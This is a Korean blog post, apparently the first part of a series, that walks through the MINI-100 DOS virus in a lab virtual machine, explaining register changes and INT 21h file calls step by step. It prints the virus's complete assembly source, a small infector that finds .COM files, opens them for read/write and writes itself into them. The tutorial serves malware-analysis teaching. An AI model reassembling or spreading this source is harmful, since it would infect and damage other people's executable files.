MINI-100 바이러스 분석하기 - (1)
실습 환경
VMware Workstation 15 Player (FREE 버전)
Windows XP Professional SP3 (32Bit)
MINI-100 바이러스의 코드를 실행하면서 레지스터를 살펴보도록 하겠습니다.
총 68줄의 코드입니다.
MINI-100 바이러스의 코드는 다음과 같습니다.
-MINI-100 Code Start-
rsi
100
a 100
PUSH SI
PUSH SI
POP DI
MOV AX,CS
INC AH
MOV ES,AX
MOV CL,64
REPZ
MOVSB
POP SI
MOV AH,4E
MOV DX,015E
INT 21
JNB 012D
PUSH SI
PUSH ES
PUSH CS
POP ES
XCHG DI,SI
MOV CX,FE9B
MOV AX,0125
PUSH AX
RETF
REPZ
MOVSB
POP SI
PUSH ES
PUSH ES
POP DS
PUSH SI
RETF
XCHG DX,AX
MOV AX,3D02
MOV DL,9E
INT 21
XCHG BX,AX
PUSH ES
POP DS
MOV AH,3F
PUSH DI
POP DX
XOR CX,CX
PUSH CX
DEC CX
INT 21
ADD AX,0064
POP CX
PUSH AX
MOV AX,4200
CWD
INT 21
MOV AH,40
POP CX
PUSH SI
POP DX
INT 21
PUSH CS
POP DS
MOV AH,3E
INT 21
MOV AH,4F
JMP 0113
SUB CH,[6F63]
DB 6D
ADD BL,AL
-MINI-100 Code End-
rsi
100
rsi의 코드를 먼저 설정합니다. (기본 값 0000)
rsi 명령어를 통해 SI에 값을 입력합니다. 이어서 100을 입력하여 SI=0100 값이 되었습니다.
a 100
19E0:0100 PUSH SI
19E0:0101 PUSH SI
19E0:0102 POP DI
-a 100을 입력하여 코드를 100번지 주소부터 시작하도록 합니다.
PUSH SI을 2번하여 SI에 저장된 0100 값을 메모리에 2번 저장합니다.
POP DI 명령어를 사용하여 2번째로 저장된 SI의 0100 값을 DI로 가져옵니다.
코드를 실행하여 확인하면 마지막 POP DI 명령어가 수행된 후 SI와 DI의 값이 0100으로 되어있는 것을 확인할 수 있습니다.
19E0:0103 MOV AX, CS
19E0:0105 INC AH
19E0:0107 MOV ES, AX
DS, ES, SS, CS 값은 실습 환경마다 다른 값을 가지고 있을 수 있습니다. (예를 들면 AAAA:0100 일경우 AAAA 가 DS, ES, SS, CS의 값이 됩니다.)
CS에 있는 19E0 값을 AX에 복사하여 AX=19E0이 되었습니다.
INC AH 명령어를 통하여 AX의 상위 8 Bit인 19에 +1을 하여 1A가 됩니다. (16진수)
AX = 1AE0
MOV ES, AX 명령어를 통해 ES에 1AE0 값을 복사합니다.
결과 => AX=1AE0, ES=1AE0
19E0:0109 MOV CL, 64
19E0:010B REPZ
19E0:010C MOVSB
MOV 명령어를 이용하여 CL에 64 값을 넣습니다.
REPZ 명령어는 CX에 저장된 반복 횟수만큼 바로 아래 명령어를 반복 수행하는 명령어입니다.
REPZ 명령어는 바로 밑에 있는 MOVSB 명령어를 CX의 값 만큼 반복하게 됩니다.
MOVSB 명령어는 DS:SI가 가리키고 있는 메모리의 내용을 ES:DI가 가리키고 있는 곳으로 옮기는 명령어입니다.
*DF가 0이면, SI, DI는 증가하고, DF가 1이면 SI, DI는 감소한다.
바이트형이면 1, 워드형이면 2를 SI와 DI에서 증가 또는 감소한다.
즉 3줄의 코드를 정리하면, MINI-100 바이러스의 크기가 100 Byte이기 때문에 CX=64h(100) 값을 입력하였으며, REPZ와 MOVSB 명령어를 통해 코드의 시작인 100번지 주소부터 다른 메모리 공간으로 복사하는 작업을 하게됩니다.
CX는 0000이 되고, SI와 DI는 1씩 증가하여 0164 값이 됩니다.
19E0공간에는 원본 MINI-100이 존재하고 1AE0공간에는 복사한 MINI-100이 존재하게 됩니다.
현재 메모리 안에는 0100 값이 들어가 있습니다.
POP SI 명령어를 사용하여 안에 있는 0100 값을 추출하여 SI=0100의 값을 가지게 됩니다.
MOV AH, 4E 명령어를 통해 AX=4EE0 값을 가지게 됩니다.
이어서 MOV DX, 015E 명령어를 통해 DX=015E의 값을 가집니다.
19E0:0113 INT 21
인터럽트 21을 실행합니다. 이때 인터럽트 21중에서 AH 값인 4E을 실행합니다.
-------------------------------------
INT 21h, 4E
첫째 파일 찾기
ASCIIZ 문자열에 따라 파일을 찾는다.
AH = 4E
CX = 찾을 파일의 속성
----------------------------------
비트 내용
0 읽기 전용
1 히든
2 시스템
3 볼륨 레이블
4 디렉토리
5 문서
6~15 사용 제한
-------------------------------------
DS:DX = 파일이름이(ASCIIZ 문자열) 저장되어 있는 세그먼트와 오프셋
DS:DX = DS:015E
인터럽트 21h에서 DS:DX에 있는 내용을 확인하므로 -D DS:015E 명령어를 입력하여 내용을 확인합니다.
*.com 이라는 내용을 확인할 수 있습니다.
MINI-100 바이러스가 *.com 파일을 찾는것을 확인할 수 있습니다.
MINI-100 바이러스가 *.com 파일을 성공적으로 찾게 되면 CF = 0 (NC), AX = 에러 번호 (0000) 값을 가지게 됩니다.
19E0:0115 JNB 012D
JNB 명령어는 점프문 중의 하나로 CF=0 이거나 ZF=1일 때 점프합니다.
현재 INT 21h에서 파일을 정상적으로 찾아서 CF=0(NC)이기 때문에 JNB 012D 명령어가 수행되어 실행 흐름이 19E0:012D 주소로 이동하게됩니다.
19E0:012D XCHG DX, AX
19E0:012E MOV AX, 3D02
19E0:0131 MOV DL, 9E
XCHG 명령어를 사용하여 DX와 AX가 가지고 있는 값을 서로 바꾸어 주는 역할을 합니다.
AX=0000, DX=015E였지만, XCHG 명령어를 사용함으로 인해 AX=015E, DX=0000 값이 됩니다.
MOV AX,3D02 명령어로 AX=015E로 값을 바꿔줍니다.
MOV DL, 9E 명령어로 DX=009E로 값을 바꿔줍니다.
여기서 MOV 명령어로 값을 새롭게 정의하는데 굳이 앞에서 XCHG 명령어로 값을 바꾼것은 파일의 크기를 맞추기 위해서 사용한 것으로 보여집니다. (XCHG의 크기 = 1 Byte, MOV의 크기 = 3 Byte)
19E0:0133 INT 21
-------------------------------------
INT 21h, 3D
파일 열기
파일 핸들에 따라 파일을 오픈한다.
AH = 3D
AL = 파일의 액세스 모드 = 02
---------------------------------
비트 내용
0~2 액세스 모드
000 : 읽기 액세스
001 : 쓰기 액세스
010 : 읽기/쓰기 액세스
-------------------------------------
DS:DX = 파일이름이(ASCIIZ 문자열) 저장되어 있는 세그먼트와 오프셋
DS:DX = DS:009E
AL의 값이 02 = 010이기 때문에 읽기/쓰기 액세스 모드를 가지게 됩니다.
-D DS:009E 명령어를 입력하여 내용을 확인합니다.
처음에 만들었던 파일의 이름이 GOGO.COM 파일이였는데 MINI-100의 INT 21을 실행하여 찾은 파일의 이름을 확인할 수 있습니다.
-p 명령어를 입력하여 INT 21을 빠져 나옵니다.
MINI-100 바이러스가 감염 대상인 GOGO.COM을 정상적으로 OPEN하는데 성공을 하면 CF=0(NC), AX=파일 핸들 값을 가지게 됩니다.
AX=0005의 파일 핸들 값을 가지고, CF가 NC상태인 것으로 보아 정상적으로 파일을 OPEN하는데 성공한 것을 알 수 있습니다.
만약 실패할 경우 CF=1, AX=에러 번호의 값을 가지게 됩니다.
19E0:0135 XCHG BX, AX
XCHG 명령어를 이용하여 BX와 AX의 값을 서로 바꿔줍니다.
AX=0000, BX=0005
잠시 후에 나올 INT 21의 핸들 값을 넣어주기 위해 사용한 명령어입니다.
19E0:0136 PUSH ES
19E0:0137 POP DS
PUSH 명령어를 사용하고 바로 POP 명령어를 사용하면 스택에 값이 들어갔다가 바로 나오기 때문에 MOV 명령어를 사용하는것과 같다고 보셔도 됩니다. 그러나 파일의 크기를 맞추기 위해 MOV 대신에 PUSH와 POP을 사용하였습니다.
PUSH ES 명령어를 사용하여 ES=1AE0의 값을 메모리에 넣어줍니다.
POP DS 명령어를 사용하여 1AE0의 값을 추출하여 DS에 저장하여 DS=1AE0 값을 가지게 됩니다.
19E0:0138 MOV AH, 3F
19E0:013A PUSH DI
19E0:013B POP DX
먼저 MOV AH, 3F 명령어로 AX=3F00의 값이 됩니다.
현재 DI=0164의 값을 가지고 있는데 PUSH DI 명령어로 0164 값을 메모리에 저장합니다.
POP DX 명령어로 메모리에 있는 0164 값을 추출하여 DX에 저장하여 DX=0164 값이 됩니다.
19E0:013C XOR CX, CX
XOR 명령어는 같은 비트 값을 가지면 0으로 만드는 명령어입니다.
XOR CX, CX 처럼 같은 것끼리 XOR을 하는 경우에는 0000으로 초기화 시키기 위한 방법 중 하나입니다.
19E0:013E PUSH CX
19E0:013F DEC CX
PUSH CX 명령어로 CX=0000의 값을 메모리에 저장합니다.
DEC CX 명령어로 CX의 값에서 -1을 하는데 CX가 0000인 상태에서 -1을 하게 되면 FFFF로 바뀌게 됩니다.
19E0:0140 INT 21
-------------------------------------
INT 21h, 3F
파일의 내용 읽기
파일의 내용을 읽어 들인다.
AH = 3F
BX = 파일 핸들 = 0005
CX = 읽을 바이트 개수 (FFFF = COM확장자 파일 최대 크기)
DS:DX = 읽어 들인 파일의 내용을 저장할 버퍼의 세그먼트와 오프셋
함수가 성공하면 CF=0(NC), AX=읽어 들인 바이트수 값을 가지게 됩니다.
실패할 경우 CF=1, AX=에러 번호가 됩니다.
-------------------------------------
19E0:0140 INT 21 명령어 다음에는 -p 명령어를 입력하여 INT 21을 빠져나옵니다.
정상적으로 파일의 내용을 읽으면 AX=0011 값이 나오고 CF=0(NC)가 됩니다.
1AE0공간에 파일의 내용을 저장합니다. 그러면 1AE0:0100 ~ 0163까지는 MINI-100 바이러스의 내용이 들어가고 0164부터는 파일의 내용이 들어가게 됩니다.
AX의 경우 감염 대상의 파일에 따라 값이 다르게 나올 수 있습니다.
저의 경우 현재 GOGO.COM(17 Byte = 0011)의 값을 가지고 있기 때문에 AX=0011 값이 출력되었습니다.
19E0:0142 ADD AX, 0064
19E0:0145 POP CX
19E0:0146 PUSH AX
AX에 0064 값을 더해줍니다. AX=0075가 됩니다. (악성코드 크기 + 원본 파일 크기)
그리고 19E0:013E PUSH CX 명령어를 사용하여 넣어 두었던 0000 값을 추출하여 CX에 입력합니다. CX=0000이 되었습니다.
PUSH AX 명령어를 통해 AX=0075 값을 메모리에 넣어줍니다.
MINI-100 바이러스 분석하기 - (2)에서 이어서 진행합니다.
'어셈블리어와 악성코드' 카테고리의 다른 글
MINI-100 바이러스 분석하기 - (2) (0) | 2018.11.27 |
---|---|
MINI-100 바이러스에 대하여 알아보기 (0) | 2018.11.25 |
어셈블리어를 이용하여 1부터 100까지의 합을 구해보자 (0) | 2018.11.23 |
레지스터와 메모리에 대하여 알아보기 (0) | 2018.11.22 |
INT(Interrupt), NOP(No Operation), LOOP (0) | 2018.11.21 |